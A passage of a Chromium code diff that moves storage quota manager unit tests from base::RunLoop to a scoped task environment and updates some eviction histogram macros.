   EXPECT_EQ(predelete_host_pers, usage());
 }
 
 TEST_F(QuotaManagerTest, GetStorageCapacity) {
   GetStorageCapacity();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_LE(0, total_space());
   EXPECT_LE(0, available_space());
 }
@@ -1469,15 +1470,15 @@
   RegisterClient(client2);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_global_tmp = usage();
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_tmp = usage();
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_pers = usage();
 
   for (size_t i = 0; i < arraysize(kData1); ++i)
@@ -1486,13 +1487,13 @@
   for (size_t i = 0; i < arraysize(kData2); ++i)
     quota_manager()->NotifyStorageAccessed(QuotaClient::kUnknown,
         GURL(kData2[i].origin), kData2[i].type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   EvictOriginData(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   DumpOriginInfoTable();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   typedef OriginInfoTableEntries::const_iterator iterator;
   for (iterator itr(origin_info_entries().begin()),
@@ -1503,15 +1504,15 @@
   }
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp - (1 + 50000), usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_tmp - (1 + 50000), usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_pers, usage());
 }
 
@@ -1527,10 +1528,10 @@
   RegisterClient(client);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   EvictOriginData(kOrigin, kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   // Ensure used count and time since access are recorded.
   histograms.ExpectTotalCount(
@@ -1549,13 +1550,13 @@
   // Change the used count of the origin.
   quota_manager()->NotifyStorageAccessed(QuotaClient::kUnknown, GURL(kOrigin),
                                          kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   EvictOriginData(kOrigin, kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   // The new used count should be logged.
   histograms.ExpectTotalCount(
@@ -1572,7 +1573,7 @@
   client->AddOriginAndNotify(kOrigin, kTemp, 100);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   DeleteOriginFromDatabase(kOrigin, kTemp);
 
@@ -1594,20 +1595,20 @@
   RegisterClient(client);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_global_tmp = usage();
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_tmp = usage();
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_pers = usage();
 
   for (size_t i = 0; i < arraysize(kData); ++i)
     NotifyStorageAccessed(client, GURL(kData[i].origin), kData[i].type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   client->AddOriginToErrorSet(GURL("http://foo.com/"), kTemp);
 
@@ -1615,12 +1616,12 @@
        i < QuotaManager::kThresholdOfErrorsToBeBlacklisted + 1;
        ++i) {
     EvictOriginData(GURL("http://foo.com/"), kTemp);
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
     EXPECT_EQ(kQuotaErrorInvalidModification, status());
   }
 
   DumpOriginInfoTable();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   bool found_origin_in_database = false;
   typedef OriginInfoTableEntries::const_iterator iterator;
@@ -1637,31 +1638,31 @@
 
   for (size_t i = 0; i < kNumberOfTemporaryOrigins - 1; ++i) {
     GetEvictionOrigin(kTemp);
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
     EXPECT_FALSE(eviction_origin().is_empty());
     // The origin "http://foo.com/" should not be in the LRU list.
     EXPECT_NE(std::string("http://foo.com/"), eviction_origin().spec());
     DeleteOriginFromDatabase(eviction_origin(), kTemp);
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
   }
 
   // Now the LRU list must be empty.
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_TRUE(eviction_origin().is_empty());
 
   // Deleting origins from the database should not affect the results of the
   // following checks.
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp, usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_tmp, usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_pers, usage());
 }
 
@@ -1683,7 +1684,7 @@
   SetQuotaSettings(kPoolSize, kPerHostQuota, kMustRemainAvailableForSystem);
 
   GetEvictionRoundInfo();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(21, usage());
   EXPECT_EQ(kPoolSize, settings().pool_size);
@@ -1699,47 +1700,47 @@
   RegisterClient(client);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_global_tmp = usage();
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_tmp = usage();
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_pers = usage();
 
   DeleteHostData(std::string(), kTemp, kAllClients);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp, usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_tmp, usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_pers, usage());
 
   DeleteHostData("foo.com", kTemp, kAllClients);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp - 1, usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_tmp - 1, usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_pers, usage());
 }
 
@@ -1765,35 +1766,35 @@
   RegisterClient(client2);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_global_tmp = usage();
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_tmp = usage();
 
   GetHostUsage("bar.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_bar_tmp = usage();
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_pers = usage();
 
   GetHostUsage("bar.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_bar_pers = usage();
 
   reset_status_callback_count();
   DeleteHostData("foo.com", kTemp, kAllClients);
   DeleteHostData("bar.com", kTemp, kAllClients);
   DeleteHostData("foo.com", kTemp, kAllClients);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   EXPECT_EQ(3, status_callback_count());
 
   DumpOriginInfoTable();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   typedef OriginInfoTableEntries::const_iterator iterator;
   for (iterator itr(origin_info_entries().begin()),
@@ -1808,24 +1809,24 @@
   }
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp - (1 + 20 + 4000 + 50000 + 6000 + 80 + 9),
             usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - (1 + 20 + 50000 + 6000 + 80), usage());
 
   GetHostUsage("bar.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_bar_tmp - (4000 + 9), usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_pers, usage());
 
   GetHostUsage("bar.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_bar_pers, usage());
 }
 
@@ -1853,23 +1854,23 @@
   RegisterClient(client2);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_global_tmp = usage();
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_tmp = usage();
 
   GetHostUsage("bar.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_bar_tmp = usage();
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_pers = usage();
 
   GetHostUsage("bar.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_bar_pers = usage();
 
   for (size_t i = 0; i < arraysize(kData1); ++i)
@@ -1878,18 +1879,18 @@
   for (size_t i = 0; i < arraysize(kData2); ++i)
     quota_manager()->NotifyStorageAccessed(QuotaClient::kUnknown,
         GURL(kData2[i].origin), kData2[i].type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   reset_status_callback_count();
   DeleteOriginData(GURL("http://foo.com/"), kTemp, kAllClients);
   DeleteOriginData(GURL("http://bar.com/"), kTemp, kAllClients);
   DeleteOriginData(GURL("http://foo.com/"), kTemp, kAllClients);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   EXPECT_EQ(3, status_callback_count());
 
   DumpOriginInfoTable();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   typedef OriginInfoTableEntries::const_iterator iterator;
   for (iterator itr(origin_info_entries().begin()),
@@ -1902,23 +1903,23 @@
   }
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp - (1 + 4000 + 50000 + 9), usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - (1 + 50000), usage());
 
   GetHostUsage("bar.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_bar_tmp - (4000 + 9), usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_pers, usage());
 
   GetHostUsage("bar.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_bar_pers, usage());
 }
 
@@ -1940,17 +1941,17 @@
   EXPECT_TRUE(origins.empty());
 
   GetHostUsage("a.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetCachedOrigins(kTemp, &origins);
   EXPECT_EQ(2U, origins.size());
 
   GetHostUsage("b.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetCachedOrigins(kTemp, &origins);
   EXPECT_EQ(2U, origins.size());
 
   GetHostUsage("c.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetCachedOrigins(kTemp, &origins);
   EXPECT_EQ(3U, origins.size());
 
@@ -1958,7 +1959,7 @@
   EXPECT_TRUE(origins.empty());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetCachedOrigins(kTemp, &origins);
   EXPECT_EQ(3U, origins.size());
 
@@ -1982,29 +1983,29 @@
 
   GURL origin;
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_TRUE(eviction_origin().is_empty());
 
   NotifyStorageAccessed(client, GURL("http://a.com/"), kTemp);
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("http://a.com/", eviction_origin().spec());
 
   NotifyStorageAccessed(client, GURL("http://b.com/"), kPerm);
   NotifyStorageAccessed(client, GURL("https://a.com/"), kTemp);
   NotifyStorageAccessed(client, GURL("http://c.com/"), kTemp);
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("http://a.com/", eviction_origin().spec());
 
   DeleteOriginFromDatabase(eviction_origin(), kTemp);
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("https://a.com/", eviction_origin().spec());
 
   DeleteOriginFromDatabase(eviction_origin(), kTemp);
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("http://c.com/", eviction_origin().spec());
 }
 
@@ -2022,7 +2023,7 @@
 
   GURL origin;
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_TRUE(eviction_origin().is_empty());
 
   NotifyStorageAccessed(client, GURL("http://a.com/"), kTemp);
@@ -2031,19 +2032,19 @@
   NotifyStorageAccessed(client, GURL("http://c.com/"), kTemp);
 
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("http://a.com/", eviction_origin().spec());
 
   // Notify origin http://a.com is in use.
   NotifyOriginInUse(GURL("http://a.com/"));
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("https://a.com/", eviction_origin().spec());
 
   // Notify origin https://a.com is in use while GetEvictionOrigin is running.
   GetEvictionOrigin(kTemp);
   NotifyOriginInUse(GURL("https://a.com/"));
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   // Post-filtering must have excluded the returned origin, so we will
   // see empty result here.
   EXPECT_TRUE(eviction_origin().is_empty());
@@ -2051,7 +2052,7 @@
   // Notify access for http://c.com while GetEvictionOrigin is running.
   GetEvictionOrigin(kTemp);
   NotifyStorageAccessed(client, GURL("http://c.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   // Post-filtering must have excluded the returned origin, so we will
   // see empty result here.
   EXPECT_TRUE(eviction_origin().is_empty());
@@ -2059,7 +2060,7 @@
   NotifyOriginNoLongerInUse(GURL("http://a.com/"));
   NotifyOriginNoLongerInUse(GURL("https://a.com/"));
   GetEvictionOrigin(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ("http://a.com/", eviction_origin().spec());
 }
 
@@ -2076,7 +2077,7 @@
   RegisterClient(client);
 
   GetOriginsModifiedSince(kTemp, base::Time());
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_TRUE(modified_origins().empty());
   EXPECT_EQ(modified_origins_type(), kTemp);
 
@@ -2090,7 +2091,7 @@
   base::Time time3 = client->IncrementMockTime();
 
   GetOriginsModifiedSince(kTemp, time1);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(4U, modified_origins().size());
   EXPECT_EQ(modified_origins_type(), kTemp);
   for (size_t i = 0; i < arraysize(kData); ++i) {
@@ -2099,18 +2100,18 @@
   }
 
   GetOriginsModifiedSince(kTemp, time2);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(2U, modified_origins().size());
 
   GetOriginsModifiedSince(kTemp, time3);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_TRUE(modified_origins().empty());
   EXPECT_EQ(modified_origins_type(), kTemp);
 
   client->ModifyOriginAndNotify(GURL("http://a.com/"), kTemp, 10);
 
   GetOriginsModifiedSince(kTemp, time3);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(1U, modified_origins().size());
   EXPECT_EQ(1U, modified_origins().count(GURL("http://a.com/")));
   EXPECT_EQ(modified_origins_type(), kTemp);
@@ -2120,10 +2121,10 @@
   SetPersistentHostQuota("example1.com", 1);
   SetPersistentHostQuota("example2.com", 20);
   SetPersistentHostQuota("example3.com", 300);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   DumpQuotaTable();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   const QuotaTableEntry kEntries[] = {
     QuotaTableEntry("example1.com", kPerm, 1),
@@ -2158,10 +2159,10 @@
       QuotaClient::kUnknown,
       GURL("http://example.com/"),
       kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   DumpOriginInfoTable();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   typedef std::pair<GURL, StorageType> TypedOrigin;
   typedef std::pair<TypedOrigin, int> Entry;
@@ -2188,12 +2189,12 @@
 
 TEST_F(QuotaManagerTest, QuotaForEmptyHost) {
   GetPersistentHostQuota(std::string());
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, quota());
 
   SetPersistentHostQuota(std::string(), 10);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaErrorNotSupported, status());
 }
 
@@ -2224,32 +2225,32 @@
   RegisterClient(client4);
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_tmp = usage();
 
   DeleteOriginData(GURL("http://foo.com/"), kTemp, QuotaClient::kFileSystem);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 1, usage());
 
   DeleteOriginData(GURL("http://foo.com/"), kTemp, QuotaClient::kAppcache);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 2 - 1, usage());
 
   DeleteOriginData(GURL("http://foo.com/"), kTemp, QuotaClient::kDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 4 - 2 - 1, usage());
 
   DeleteOriginData(GURL("http://foo.com/"), kTemp,
       QuotaClient::kIndexedDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 8 - 4 - 2 - 1, usage());
 }
 
@@ -2280,31 +2281,31 @@
   RegisterClient(client4);
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_tmp = usage();
 
   DeleteHostData("foo.com", kTemp, QuotaClient::kFileSystem);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 1, usage());
 
   DeleteHostData("foo.com", kTemp, QuotaClient::kAppcache);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 2 - 1, usage());
 
   DeleteHostData("foo.com", kTemp, QuotaClient::kDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 4 - 2 - 1, usage());
 
   DeleteHostData("foo.com", kTemp, QuotaClient::kIndexedDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 8 - 4 - 2 - 1, usage());
 }
 
@@ -2335,21 +2336,21 @@
   RegisterClient(client4);
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_tmp = usage();
 
   DeleteOriginData(GURL("http://foo.com/"), kTemp,
       QuotaClient::kFileSystem | QuotaClient::kDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 4 - 1, usage());
 
   DeleteOriginData(GURL("http://foo.com/"), kTemp,
       QuotaClient::kAppcache | QuotaClient::kIndexedDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 8 - 4 - 2 - 1, usage());
 }
 
@@ -2380,21 +2381,21 @@
   RegisterClient(client4);
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   const int64_t predelete_foo_tmp = usage();
 
   DeleteHostData("foo.com", kTemp,
       QuotaClient::kFileSystem | QuotaClient::kAppcache);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 2 - 1, usage());
 
   DeleteHostData("foo.com", kTemp,
       QuotaClient::kDatabase | QuotaClient::kIndexedDatabase);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_foo_tmp - 8 - 4 - 2 - 1, usage());
 }
 
@@ -2411,10 +2412,10 @@
   // Query global usage to warmup the usage tracker caching.
   GetGlobalUsage(kTemp);
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(80, usage());
   EXPECT_EQ(0, quota());
@@ -2424,25 +2425,25 @@
   SetQuotaSettings(kPoolSize, kPerHostQuota, INT64_C(0));
 
   GetStorageCapacity();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kPoolSize, total_space());
   EXPECT_EQ(kPoolSize - 80 - 10, available_space());
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_LE(kPerHostQuota, quota());
 
   mock_special_storage_policy()->AddUnlimited(GURL("http://foo.com/"));
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(80, usage());
   EXPECT_EQ(available_space() + usage(), quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_EQ(available_space() + usage(), quota());
@@ -2453,11 +2454,11 @@
   mock_special_storage_policy()->AddSessionOnly(kEpheremalOrigin);
 
   GetUsageAndQuotaForWebApps(kEpheremalOrigin, kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(quota_manager()->settings().session_only_per_host_quota, quota());
 
   GetUsageAndQuotaForWebApps(kEpheremalOrigin, kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, quota());
 }
 
diff --git a/storage/browser/quota/quota_temporary_storage_evictor.cc b/storage/browser/quota/quota_temporary_storage_evictor.cc
index 4eb97885..f236621 100644
--- a/storage/browser/quota/quota_temporary_storage_evictor.cc
+++ b/storage/browser/quota/quota_temporary_storage_evictor.cc
@@ -92,8 +92,8 @@
   UMA_HISTOGRAM_MBYTES("Quota.EvictedBytesPerRound",
                        round_statistics_.usage_on_beginning_of_round -
                        round_statistics_.usage_on_end_of_round);
-  UMA_HISTOGRAM_COUNTS("Quota.NumberOfEvictedOriginsPerRound",
-                       round_statistics_.num_evicted_origins_in_round);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.NumberOfEvictedOriginsPerRound",
+                          round_statistics_.num_evicted_origins_in_round);
 }
 
 void QuotaTemporaryStorageEvictor::ReportPerHourHistogram() {
@@ -101,16 +101,16 @@
   stats_in_hour.subtract_assign(previous_statistics_);
   previous_statistics_ = statistics_;
 
-  UMA_HISTOGRAM_COUNTS("Quota.ErrorsOnEvictingOriginPerHour",
-                       stats_in_hour.num_errors_on_evicting_origin);
-  UMA_HISTOGRAM_COUNTS("Quota.ErrorsOnGettingUsageAndQuotaPerHour",
-                       stats_in_hour.num_errors_on_getting_usage_and_quota);
-  UMA_HISTOGRAM_COUNTS("Quota.EvictedOriginsPerHour",
